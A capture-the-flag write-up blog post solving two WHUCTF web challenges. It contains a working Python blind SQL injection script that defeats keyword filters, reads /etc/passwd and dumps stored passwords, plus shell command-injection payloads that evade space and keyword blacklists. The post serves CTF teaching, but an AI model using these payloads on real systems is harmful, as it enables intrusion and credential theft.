[network security] XXXVIII. WHUCTF SQL script blind injection and command execution bypass (easy_sqli, ezcmd)

Posted by suckablesausage on Fri, 03 Dec 2021 05:54:11 +0100

Article directory:

  • 1, Easy_sqli 1. Title Description 2. Problem solving ideas
  • 2, ezcmd 1. Title Description 2. Problem solving ideas
  • 3, Summary

Author's github resources:

  • Reverse analysis: https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
  • Network security: https://github.com/eastmountyxz/ NetworkSecuritySelf-study

Statement: I firmly oppose the use of teaching methods for criminal acts. All criminal acts will be severely punished. The green network needs our joint maintenance. It is recommended that you understand the principles behind them and better protect them. The website is currently accessible and should be closed in the future. Beginners can try it, but don't destroy it.

1, Easy_sqli

1. Title Description

Test site: SQL injection

The main interface is shown in the figure below:

The core code is as follows, and the request is submitted by POST.

2. Problem solving ideas

(1) First of all, there is only one landing page. The first thing I think of is universal password login, such as admin, 'or' = 'or', etc.

When we enter admin, we prompt that the login fails and feed back the SQL statement.

Your sql statement is: SELECT password FROM users WHERE username='admin' AND password='admin'

When we enter 'or' = 'to prompt that the login is successful, but we do not jump to the next interface and directly return to the login interface. At the same time, the returned SQL statement sees that or is shielded. At this time, some students may wonder why Mingming logged in successfully and didn't return flag? There was no success here.

Your sql statement is: SELECT password FROM users WHERE username=''''='' AND password=''''=''

At the same time, attempts to splice user names and passwords were unsuccessful.

'or'=' union SELECT 1,database()
'or'='/**/union/**/select/**/1,database()
'oorr'=' union seselectlect 1,database()

Here are two general SQL injection articles:

(2) The author likes to scan directories and ports when he meets websites, but there is no good information here. At the same time, SQLMAP scanning is not successful, as shown in the figure below.

  • dirb http://218.197.154.9:10011/ /usr/share/dirb/wordlists/small.txt
  • sqlmap -u "http://218.197.154.9:10011/ img/?C=D;O=A" --dbs

(3) When SQLMAP and other tools cannot be used, you need to manually find the injection point or inject. Here is a very useful method to send data packets through Python to bounce the database, table, field, user name and password.

① Get database name

The output result is as shown in the figure below. The first bit of database() is e through binary search, and finally the database name is obtained. The core code is as follows:

postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')

The corresponding SQL statement is:

  • SELECT password FROM users WHERE username='aa' or substr(database(),1,1)>64 –' AND password=''

Simply modify the code, comment out the intermediate output value, and splice the output strings together. The final output result is shown in the figure below, and the database is easy_sql1.

  • #print(sqliStr)
  • print(chr(m),end='')

② Get system password information

postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')

The output results are as follows:

③ Get database table name information Note that this is a sub query, group_ The concat () function concatenates the table names on one row, separated by commas.

postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

The output results are as follows, including f1ag_y0u_wi1l_n3ver_kn0w,users.

④ Get user name and password This problem is mainly to obtain the fields and values in the f1ag table, but the real website usually needs to obtain the information of the user table.

postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

The output results are as follows. These user names and passwords can log in, but they will still return to the interface after successful login.

⑤ Get f1ag table fields

postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

The output result is as follows, and the field is f11114g.

⑥ Get f1ag field corresponding value

postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

The output result is as follows, and the flag value is obtained.

Title + practical summary:

  • This topic examines SQL injection. Traditional manual injection and SQLMAP sometimes encounter interception. We can try other methods
  • The author provides an automatic SQL injection method based on Python, and uses binary search for matching and library creation, which is more applicable
  • When we get a website, we first need to collect (port, service and directory) as much as possible, weak password and universal password test, and then find ways to find vulnerability points. Different system versions will have different vulnerabilities

Full code:

import requests,urllib
import math
from urllib.parse import quote_plus

#Agent configuration
proxies = {
 'http': 'http://127.0.0.1:8888',
 'https': 'http://127.0.0.1:8888'
}
proxies = None

#Set message header
reqHeaders = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en,en-US;q=0.8,zh-CN;q=0.5,zh;q=0.3',
    'Accept-Encoding': 'gzip, deflate, br'
}

postHeaders = reqHeaders.copy()
postHeaders['Referer'] = 'http://218.197.154.9:10011/login.php'
postHeaders['Content-Type'] = 'application/x-www-form-urlencoded'

#Define web address
url = 'http://218.197.154.9:10011/login.php'

"""send out POST data"""
#Database name
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')

#System password
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')

#Get table name
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f1ag_y0u_wi1l_n3ver_kn0w,users

#User name and password
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#Dumb+Dumb,Angelina+I-kill-you,Dummy+p@ssword,secure+crappy,stupid+stupidity

#Get f1ag field
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f111114g

#Get corresponding value
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#WHUCTF{r3lly_re11y_n0t_d1ffIcult_yet??~}

print(postStr)

#Set request
reqSess = requests.session()
#reqSess.cookies.set('JSESSIONID','87B415C3E689651FF292DA16B32AB3EF')

#Current Bit & Max Bits
cb, mb = 1,4096

#Binary duplicate matching string
stillLeft = True
while cb < mb and stillLeft:
    #ascii of start,middle and end
    s,m,e = 0,0,255

    while s < e:
        sqliStr = postStr.format(cb,m)
        #print(sqliStr)
        
        postHeaders['Content-Length']= str(len(postStr))
        #print(postHeaders)

        currentFailedTimes,maxFailedTimes = 0,10
        while currentFailedTimes < maxFailedTimes:
            try:
                rst = reqSess.post(url,sqliStr,headers=postHeaders,
                                   proxies=proxies,allow_redirects=False,verify=False)
                break
            except Exception as ex:
                if currentFailedTimes > 5:
                    print('[X]Failed Times:%d'%(currentFailedTimes))
                currentFailedTimes += 1
                if currentFailedTimes == maxFailedTimes:
                    exit("Too Much Errors,Going To Stop")
        #result is true
        if 'Login success' in rst.text:
            #print("[v]{}:{}->{}->{}".format(cb,s,m,e))
            if e - 1 == m:
                m = e
                break
            s = m
        else:
            #print("[x]{}:{}->{}->{}".format(cb,s,m,e))
            #even > 0 is error,no bits left
            if m == 0:
                stillLeft = False
                break
            if e - 1 == m:
                break
            e = m
        m = s + math.ceil((e - s)/2)
    if not m == 0:
        print(chr(m),end='')
    cb += 1

Finally, the WP code of CTF master of Wuhan University is supplemented. It is recommended that you learn.

  • CTF - PeiQi master of Wuhan University
  • 2020_WHUCTF_Writeup - Ly-sec-l master
import requests
import string
res = requests.session()
url = 'http://218.197.154.9:10011/login.php'
flag = ''
for j in range(1,200):
    for i in string.printable: 
        # payload = "admin' and if(((substr((seselectlect database()),{},1))='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if((substring((seleselectct database()),{},1)='{}'),1,2)=1#".format(j,i)
        #  easy_sql1
        # payload = "admin' and if((substring((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()),{},1)='{}'),1,2)=1#".format(j,i)
        #  f1ag_y0u_wi1l_n3ver
        # payload = "admin' and if((substring((selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'f1ag_y0u_wi1l_n3ver_kn0w'),{},1)='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if((substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1)='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if(ascii(substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1))=ascii('{}'),1,2)=1#".format(j,i)
        data = {
            "user" : payload,
            "pass" : 1
        }
        content = res.post(url,data=data)
        result = content.text
        # print(result)
        #
        if 'success' in result:
            flag += i
            print(flag)
            break

2, ezcmd

1. Title Description

Test site: CMD command bypass

The main interface is shown in the figure below:

The title code is as follows:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("no space!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("no flag");
  } else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){
    die("cat't read flag");
  }
  $a = shell_exec("ping -c 4 ".$ip); 
  echo "<pre>";
  print_r($a);
}
highlight_file(__FILE__);
?>

2. Problem solving ideas

When you see such problems, you first think of the command execution method, which uses pipe symbols or semicolons, and then bypass them layer by layer. There are three restrictions on this topic: no space, no flag, no cat and other commands.

(1) Use the ip local address and ls command to view the files in the directory.

  • http://218.197.154.9:10016/?ip=127.0.0.1|ls

Result: we see the flag.php and index.php files.

(2) Then use the cat command to read the content of flag.php.

  • http://218.197.154.9:10016/?ip=127.0.0.1|cat%20flag.php

Result: prompt that we can't use spaces.

At the same time, the following read instructions are ban.

  • /tac|rm|echo|cat|nl|less|more|tail|head

We need to find a way to bypass it. When the prompt space is ban, we can bypass it by using the following methods.

  • $IFS
  • ${IFS}
  • IFS1 // 1 can be changed to add other numbers, which seems to be OK
  • <
  • <>
  • {cat,flag.php} / / the function of space is implemented with commas
  • %20
  • %09

(3) Bypass the space and use cat to read the flag file.

  • http://218.197.154.9:10016/?ip=127.0.0.1|catIFS1flag.php

Note: if cat is disabled, we need to use the tac reverse output command. You can add \, or even ca\t /fl\ag to the linux command.

Result: no flag is prompted.

(4) A variable a is found in the PHP source code. Try to overwrite this variable. The following code is equivalent to cat flag.php.

 http://218.197.154.9:10016/?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php

The output results are as follows:

  • PING 127.0.0.1 (127.0.0.1): 56 data bytes

Finally, you see the flag value in the comments section.

Title + practical summary:

  • The command execution method of this type of question is to bypass layers by layers with pipe characters or semicolons
  • Then use $IFS1 to bypass the space limit
  • Finally, use the $a variable to bypass the blacklist and successfully execute the cat flag.php command
?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php

At the same time, the bypass payload of the other two masters is given.

#Method 1
?ip=127.0.0.1;a=g;ca$@t$IFS$1fla$a.php

#Method 2
url='http://218.197.154.9:10016?ip=127.0.0.1;ls$IFS-l;b=c;n=a;m=t;o=g;p=a;q=l;r=f;s=i;$b$n$m$IFS$r$q$p$o.php'
r =requests.get(url)
print(r.text)

Recommended and reference articles:

  • [gxyctf2019] Ping Ping - Master wangtanzhi
  • CTF - PeiQi master of Wuhan University
  • 2020_WHUCTF_Writeup - Ly-sec-l master

3, Summary

I hope this article is helpful to you. This is the basic topic of CTF. I participated in the CTF competition for the first time in May 2020. In the past six months, there have been fewer and fewer original blogs. I hope I can keep moving forward on the road of doctor, read more papers, write more papers and learn more new knowledge. Come on ~ I also wish all doctoral students have made achievements, don't forget the way they came and forge ahead. Good night, Nana~

  • 1, SQL script blind note
  • 2, Command execution bypass
  • 3, Summary

Personal suggestions for CTF Beginners:

  • Do more CTF questions, participate in more CTF competitions and exchange more experience
  • The CTF topic recommends BUUCTF. There are many competitions every month, such as XCTF, KCTF, WCTF, etc
  • Each excellent CTF player has its own tool library, script library and dictionary library
  • Learn from the excellent safety team, pay attention to their official account, even add friends to team competition.
  • CTF competition is helpful to find a job, but the follow-up suggestions are combined with the actual work of vulnerability mining